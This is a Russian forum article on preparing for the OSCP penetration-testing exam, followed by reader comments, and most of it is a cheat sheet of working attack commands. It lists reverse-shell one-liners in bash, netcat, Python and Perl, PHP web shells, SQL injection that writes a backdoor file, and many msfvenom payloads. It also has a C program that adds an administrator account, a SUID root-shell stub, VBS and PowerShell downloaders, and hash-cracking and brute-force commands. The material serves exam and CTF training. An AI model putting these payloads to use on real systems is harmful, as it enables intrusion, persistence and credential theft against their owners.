• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Дорога к OSCP - утилиты и ссылки

Всем большой и трайхардовый привет!

Как и обещал эту статью, в продолжении идеологии просвещения в OSCP - я уделю внимание именно инструментарию и полезным ссылкам...

!Хочу обратить внимание, этот гайд предназначен не только для подготовки к экзамену, так же применим к CTF и очень пригодится для построения структуры работ при проведении тестирования на проникновение или Pentest'ов в реальной жизни. Вам нужно выработать навык владения инструментарием, научиться конспектировать и строить структурные отчеты и всегда докапываться до мелочей и никогда не сдаваться.

OSCP-USA.jpg


ВОДА:

Как я описывал ранее весь процесс подготовки и сдачи экзамена OSCP достаточно сердитый процесс, требующий не только знаний, но и организации рабочего места для самого процесса экзаменирования. Описанные в прошлой статье 10 шагов действительно помогут Вам быть готовыми на все 99,9%

Но, независимо от Ваших знаний и самооценки требует уделить особое внимание к процессу подготовки и сделать небольшую работу по сбору информации от уже прошедших экзаменацию и иную информацию в интернете, для того, чтобы подойти к "снаряду" уверенно и не совершать ошибок, ведь 800 капустных листов не валяются на дороге. Я сделал за Вас эту работу и думаю Вы оцените эту "солянку",

Итак, погнали...

Моя подготовка началась осенью 2018 г. с площадки и в конце Декабря 2018 года я решил принять участие в очень неплохой и невероятно интересной площадке , врайтап по которой я опубликовал на нашем форуме в Январе 2019 состоящую из 4 частей.

Дальше, прочитав множество статей на очень НЕ Русском языке от прошедших экзаменацию от , 27 Января 2019 г. мой следующий выбор пал на .

OSCP-VMLike.png


1. Уделите внимание тренировочному процессу, это крайне важно. Ниже списком я представлю OSCP-like машины, которые Вы можете натренировать если не сталкивались с CTF "коробками". Проведите тренировку скачав образы с Vulnhub или купив платную подписку на Hackthebox которая позволить играть со снятыми с вооружения снарядами.

HackTheBox была отличной платформой, которая поможет Вам адаптироваться перед сдачей OSCP, однако имейте ввиду, многие таски там слишком CTF-Like. Если Вам пока не ясна данная терминология - рвите когти туда и когда адские слезы превратяться в кристаллы и после месяцев подготовки Вы начнете понимать разницу между стандартными машинами и некими адовыми чертовщинами решать которые получается только сплотившись командой - возвращайтесь сюда и продолжайте чтиво...

!Не старайтесь брать все Active машины, это не всегда просто и зачастую настолько наворочено, что мозг при каждом высмаркивании вытекает через ноздри. Просто научитесь находить уязвимость, находить эксплуатацию, эксплуатировать и кране важно - фиксируйте все свои изыскания в виде заметок и делайте больше скринов, чтобы выработать привычку.

Так же после того, как набьете руку об Ваш манипулятор на коробках, переходите на . Это площадка, позволяющая вне зависимости от вероисповедания, наличия денег на VIP подписку или отсутствие опыта, скачать образ подготовленной виртуальной машины и приступить к выполнению задач по поиску флагов.
Только имея опыт по взятию юзеров и рутов Вы сможете без применения вратайпов испытать свои навыки для того, чтобы подвести наработанные знания - к экзаменационным.

Сейчас я перечислю машины из площадок VulnHub и HackTheBox, которые очень сильно похожи на те, которые будут на экзамене и Вам жизненно необходимо научиться решать их без гугла.
VulnHub:
  • from
На была одна машина под названием "туманность" или "nebula". Методы, используемые на этой машине, были жизненно важны и по словам счастливчиков - реально используются в лаборатории.

HackTheBox:
!Внимание, на данном ресурсе действует единственно правило - поддерживать ресурс деньгой, поэтому убранные в кладовку машины на фри недоступны и Вам нужно заплатить 11 фунтов BRexit денег для того, чтобы иметь возможность поиграть в них. Поэтому я даю Вам готовые врайтапы по ним.
Если после прочтения всего описанного Вы ошеломлены и не знаете с чего начать, посмотрите эти видео от IppSec. На данном ютуб канале выходят врайтапы снятых с продакшена HackTheBox машин и влогер уделяет очень много внимания мелочам, тратя от 30 до 60 минут на каждую и разжевывает прохождение ровно так, как оно должно делаться в идеале.

OSCP-Enumerate_.jpg


ИНСТРУМЕНТАРИЙ:
Итак, дорогие мои (фраза взята у Малышевой вдруг что), давайте немного пофантазируем и представим себе, что мы получили доступ к лабараторке и видим такую картину:
OSCP/
├── Public
│ ├── Box1 - 10.10.10.10
│ └── Box2 - 10.10.10.11
├── IT Department
│ ├── Box1 - 10.11.11.10
│ └── Box2 - 10.11.11.11
├── Dev Department
│ ├── Box1 - 10.12.12.10
│ └── Box2 - 10.12.12.11
├── Admin Department
│ ├── Box1 - 10.13.13.10
│ └── Box2 - 10.13.13.11
├── Exercises
│ ├── 1.3.1.3
│ └── 2.2.1
└── Shortcuts

Давайте договоримся сразу представлять перед собой цели в удобном виде:

HostnameIPExploitARPLootOS
Box110.10.10.10MS08-06710.10.10.11capture.pcapWindows Server 2000

1. Enumeration или по-нашему Перечисление. Это то с чего начинают все, это именно та база, которая должна быть в Вас и доведена до автоматизма.
Практически в каждом обзоре, который я находил про OSCP - говорится, что Вы должны составить у себя в голове сценарий перечисления и без него Вы не успеете в отведенный срок пропустив какую-нибудь незначительную деталь из-за которой придется делать скан снова и снова… Но уже есть готовые сценарии, специально предназначенные для OSCP, такие как Reconnoitre (Разведка или рекогносцировка) от Codingo. Этот сказочный инструмент действительно может помочь Вам найти вектор достаточно быстро, знающие люди используют данный инструмент и после сдачи экзамена, в случае отсутствия видимых векторов пробуйте ручные сценарии сканирования. Ниже приведены команды и инструментарий, которые будут невероятно полезны:
Nmap
Quick TCP Scan
Bash:
nmap -sC -sV -vv -oA quick 10.10.10.10

Quick UDP Scan
Bash:
nmap -sU -sV -vv -oA quick_udp 10.10.10.10

Full TCP Scan
Bash:
nmap -sC -sV -p- -vv -oA full 10.10.10.10

Port knock
Bash:
for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x 10.10.10.10; done

Web Scanning
Nikto - незаменимая утилита, использую на постоянной основе в реальных проэктах
Bash:
nikto -h 10.10.10.10

Dirsearch Directory unumerate - использую всегда только его
Bash:
python dirsearch.py -u http://10.10.10.10 -e php,txt,html,log,conf,cfg,ini,pdf -x 301,403,503,302 --random-agent

Dirsearch Так же я лично очень часто использую большой словарик с dirb в связке
Bash:
python dirsearch.py -u http://10.10.10.10 -e php,txt,html,log,conf,cfg,ini,pdf -x 301,403,503,302 --random-agent -w big.txt -f

Gobuster quick directory busting
Bash:
gobuster -u 10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/common.txt -t 80 -a Linux

Gobuster comprehensive directory busting
Bash:
gobuster -s 200,204,301,302,307,403 -u 10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/BIG.txt -t 80 -a 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'

Gobuster search with file extension
Bash:
gobuster -u 10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/common.txt -t 80 -a Linux -x .txt,.php

Gobuster Ну и моя любимая
Bash:
gobuster -k -fw -u http://10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/BIG.txt -e php,txt,htm,html,phtml,js,zip,rar,tar

Wfuzz этот инструмент зачастую встречаю на врайтапах HTB
Bash:
wfuzz -X GET -c --hc 301 -t 50 -w /home/clevergod/CTF/dirsearch/db/BIG.txt -u http://10.10.10.10

Wordpress scan простой
Bash:
wpscan -u http://10.10.10.10/

Wordpress наебуреный для гарантированного результата
Bash:
wpscan --url http://10.10.10.10/  --force --ignore-main-redirect --stealthy
+( вот эти команды если Вы знаете, что папки были намеренно перенесены --wp-plugins-dir plugins --wp-content-dir /)

Port Checking
Netcat banner grab
Bash:
nc -v 10.10.10.10 port

Telnet banner grab
Bash:
telnet 10.10.10.10 port

SMB
SMB Vulnerability Scan
Bash:
nmap -p 445 -vv --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse 10.10.10.10

SMB Users & Shares Scan
Bash:
nmap -p 445 -vv --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.10.10

Enum4linux
Bash:
enum4linux -a 10.10.10.10

Null connect
Bash:
rpcclient -U "" 10.10.10.10

Connect to SMB share
Bash:
smbclient //MOUNT/share

SNMP
SNMP enumeration
Bash:
snmp-check 10.10.10.10

Python Servers
Web Server
Bash:
python -m SimpleHTTPServer 80

FTP Server
# Install pyftpdlib
Bash:
pip install pyftpdlib

# Run (-w flag allows anonymous write access)
Bash:
python -m pyftpdlib -p 21 -w

Reverse Shells
Bash shell
Bash:
bash -i >& /dev/tcp/10.10.10.10/4443 0>&1

Netcat without -e flag
Bash:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f

Netcat Linux
Bash:
nc -e /bin/sh 10.10.10.10 4443

Netcat Windows
Bash:
nc -e cmd.exe 10.10.10.10 4443

Python
Bash:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl
Bash:
perl -e 'use Socket;$i="10.10.10.10";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Remote Desktop
Remote Desktop for windows with share and 85% screen
Bash:
rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.10.10.10

PHP
PHP command injection from GET Request
Bash:
<?php echo system($_GET["cmd"]);?>

#Alternative
Bash:
<?php echo shell_exec($_GET["cmd"]);?>

Powershell
Non-interactive execute powershell file
Bash:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File file.ps1

Misc
More binaries Path
Bash:
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/ucb/

Linux proof
Bash:
hostname && whoami && cat proof.txt && /sbin/ifconfig

Windows proof
Bash:
hostname && whoami.exe && type proof.txt && ipconfig /all

SSH Tunneling / Pivoting
Bash:
sshuttle -vvr user@10.10.10.10 10.1.1.0/24

Local port forwarding
Bash:
ssh <gateway> -L <local port to listen>:<remote host>:<remote port>

Remote port forwarding
Bash:
ssh <gateway> -R <remote port to bind>:<local host>:<local port>

Dynamic port forwarding
Bash:
ssh -D <local proxy port> -p <remote port> <target>

Plink local port forwarding
Bash:
plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>

SQL Injection
# sqlmap crawl
Bash:
sqlmap -u http://10.10.10.10 --crawl=1

# sqlmap dump database
sqlmap -u --dbms=mysql --dump[/CODE]

# sqlmap shell
sqlmap -u --dbms=mysql --os-shell[/CODE]

Upload php command injection file
Bash:
union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'

Load file
Bash:
union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6

Bypasses
Bash:
' or 1=1 LIMIT 1 --
' or 1=1 LIMIT 1 -- -
' or 1=1 LIMIT 1#
'or 1#
' or 1=1 --
' or 1=1 -- -

Brute force
John the Ripper shadow file
Bash:
$ unshadow passwd shadow > unshadow.db
$ john unshadow.db

Bash:
# Hashcat SHA512 $6$ shadow file
hashcat -m 1800 -a 0 hash.txt rockyou.txt --username

#Hashcat MD5 $1$ shadow file
hashcat -m 500 -a 0 hash.txt rockyou.txt --username

# Hashcat MD5 Apache webdav file
hashcat -m 1600 -a 0 hash.txt rockyou.txt

# Hashcat SHA1
hashcat -m 100 -a 0 hash.txt rockyou.txt --force

# Hashcat Wordpress
hashcat -m 400 -a 0 --remove hash.txt rockyou.txt

RDP user with password list
Bash:
ncrack -vv --user offsec -P passwords rdp://10.10.10.10

SSH user with password list
Bash:
hydra -l user -P pass.txt -t 10 10.10.10.10 ssh -s 22

FTP user with password list
Bash:
medusa -h 10.10.10.10 -u user -P passwords.txt -M ftp


MSFVenom Payloads
Bash:
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f raw -o shell.php

# Java WAR reverse shell
msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f war -o shell.war

# Linux bind shell
msfvenom -p linux/x86/shell_bind_tcp LPORT=4443 -f c -b "\x00\x0a\x0d\x20" -e x86/shikata_ga_nai

# Linux FreeBSD reverse shell
msfvenom -p bsd/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f elf -o shell.elf

# Linux C reverse shell
msfvenom  -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f c

# Windows non staged reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o non_staged.exe

# Windows Staged (Meterpreter) reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o meterpreter.exe

# Windows Python reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f python -o shell.py

# Windows ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f asp -e x86/shikata_ga_nai -o shell.asp

# Windows ASPX reverse shell
msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -o shell.aspx

# Windows JavaScript reverse shell with nops
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f js_le -e generic/none -n 18

# Windows Powershell reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1

# Windows reverse shell excluding bad characters
msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f c -b "\x00\x04" -e x86/shikata_ga_nai

# Windows x64 bit reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -o shell.exe

# Windows reverse shell embedded into plink
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe

Interactive Shell
Upgrading to a fully interactive TTY using Python
Bash:
# Enter while in reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'

Ctrl-Z

# In Kali
$ stty raw -echo
$ fg
# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>

File Transfers
HTTP
The most common file transfer method.
Bash:
# In Kali
python -m SimpleHTTPServer 80

# In reverse shell - Linux
wget 10.10.10.10/file

# In reverse shell - Windows
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.10.10/file.exe','C:\Users\user\Desktop\file.exe')"

FTP

This process can be mundane, a quick tip would be to be to name the filename as ‘file’ on your kali machine so that you don’t have to re-write the script multiple names, you can then rename the file on windows.
Bash:
# In Kali
python -m pyftpdlib -p 21 -w

# In reverse shell
echo open 10.10.10.10 > ftp.txt
echo USER anonymous >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET file >> ftp.txt
echo bye >> ftp.txt

# Execute
ftp -v -n -s:ftp.txt

TFTP
Generic.
Bash:
# In Kali
atftpd --daemon --port 69 /tftp

# In reverse shell
tftp -i 10.10.10.10 GET nc.exe

VBS
When FTP/TFTP fails you, this wget script in VBS was the go to on Windows machines.
Bash:
# In reverse shell
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

# Execute
cscript wget.vbs http://10.10.10.10/file.exe file.exe

Buffer Overflow или Переполнение буфера
Тут я чувствую свое упущение и нужно еще набраться опыта.
Представлю Вам PDF файл который поможет понять процесс.
Bash:
# Payload
payload = "\x41" * <length> + <ret_address> + "\x90" * 16 + <shellcode> + "\x43" * <remaining_length>

# Pattern create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <length>

# Pattern offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <length> -q <address>

# nasm
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp eax

# Bad characters
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

СКРИПТЫ крайне полезные:
useradd.c
Windows - Add user.
C:
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main ()
{
  int i;
  i=system ("net user <username> <password> /add && net localgroup administrators <username> /add");
  return 0;
}

# Compile
i686-w64-mingw32-gcc -o useradd.exe useradd.c

SUID
Set owner user ID.
Bash:
int main(void){
  setresuid(0, 0, 0);
  system("/bin/bash");
}

# Compile
gcc suid.c -o suid

Powershell Run as
Run file as another user with powershell.
Код:
echo $username = '<username>' > runas.ps1
echo $securePassword = ConvertTo-SecureString "<password>" -AsPlainText -Force >> runas.ps1
echo $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword >> runas.ps1
echo Start-Process C:\Users\User\AppData\Local\Temp\backdoor.exe -Credential $credential >> runas.ps1

Process Monitor
Monitor processes to check for running cron jobs.
Bash:
#!/bin/bash

# Loop by line
IFS=$'\n'

old_process=$(ps -eo command)

while true; do
    new_process=$(ps -eo command)
    diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>]
    sleep 1
    old_process=$new_process
done

Сама экзаменационная среда может выглядеть так:
OSCP/
├── Offensive Security Lab Penetration Test Report
│ ├── Introduction
│ ├── Objective
│ └── Scope
├── High-Level Summary
│ └── Recommendations
├── Methodologies
│ ├── Information Gathering
│ ├── Service Enumeration
│ ├── Penetration
│ ├── Maintaining Access
│ └── House Cleaning
└── Findings
├── Box1 - 10.10.10.10
├── Box2 - 10.10.10.11
├── Box3 - 10.10.10.12
├── Box4 - 10.10.10.13
└── Box5 - 10.10.10.14

LINKS или крайне полезные ссылки:
Privilege Escalation:
  • togie6 Windows Priv Esc Guide
Kernel Exploits:
Scripts:
Дальше пока сумбур и адское количество полезной информации, которую я не успел перебрать и представить в удобоваримом виде и по мере моявления свободного времени обязательно приведу в соответствующий вид и буду дополнять:

Mixed

MsfVenom

Shell Escape Techniques

Pivoting

Linux Privilege Escalation

Windows Privilege Escalation

Shellterlabs : Writing exploits -
Shellter Hacking Express challenges -
Windows BOF PCMan FTP -
Hack the box -
Nishang : PowerShell scripts - samratashok/nishang
Windows Privilege Escalation Fundamentals -
Basic Linux Privilege Escalation -
Pentest Tips and Tricks -
Nmap cheat sheet -
SANS Institute : Port Knocking basics -
Teck_K2 OSCP review -
m4lv0id OSCP review -
The definitive hacking playlist -
Ставьте свои класневичи и дополняйте если есть замечания... Offencive Security ждет Вас

offsec2.png
 
Последнее редактирование:

clevergod

Platinum
22.04.2017
119
673
BIT
10
Статья отличная, но возник вопрос.

При сдаче OSCP вроде запрещено использовать sqlmap, а в статье есть его команды
Верное замечание, но для общего самообразования самое то и как заметка для начинающих свой путь. При сдаче экзамена будет предоставлено соглашение, в котором будут описаны все ограничения.
 
  • Нравится
Реакции: g00db0y
D

dehimb

Автор явно вдохновлялся этой методологией =)

Можно объяснить в чем смысл такого Port knock? Указать порты(или ренджи) можно и в nmap сразу
Bash:
for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x 10.10.10.10; done
 
Последнее редактирование модератором:
  • Нравится
Реакции: JoY_MnK и Shedu
D

dehimb

Похоже тут опечатка в любимой команде
> Ну и моя любимая
Bash:
gobuster -k -fw -u http://10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/BIG.txt -e .php,txt,htm,html,phtml,js,zip,rar,tar

В gobuster расширения файлов задаются через флаг -x и должны идти с точкой
Bash:
gobuster -k -fw -u http://10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/BIG.txt -x .php,.txt,.htm,.html,.phtml,.js,.zip,.rar,.tar
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!